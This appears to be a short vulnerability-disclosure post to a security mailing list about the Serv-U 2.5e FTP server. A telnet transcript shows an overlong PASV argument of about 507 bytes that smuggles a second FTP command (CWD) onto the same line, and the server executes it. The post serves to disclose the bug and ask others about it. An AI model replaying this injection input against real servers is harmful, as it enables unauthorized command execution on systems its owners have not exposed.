serv-u 2.5e

["perkere stinker" <doe_i_sorte_skodder () hotmail com>]

log in, issue a PASV [buf] where buf is 507 bytes, after that you can issue 
a new command all in the same line. Can this be exploited anyway? Does it 
work on other versions? Is this pure crap? I dont know. Guess thats what 
vuln-dev is for?

example:

[foo@bar foo]$ telnet serv-u-server 21
Trying 193.89.248.81...
Connected to serv-u-server.
Escape character is '^]'.
220 Serv-U FTP-Server v2.5e for WinSock ready...
user perkere
331 User name okay, need password.
pass stinker
230 User logged in, proceed.
PASV 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACWD 
upload
227 Entering Passive Mode (193,89,248,81,7,177)
250 Directory changed to /f:/Download/upload

End example

Pizza. Yum.



_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp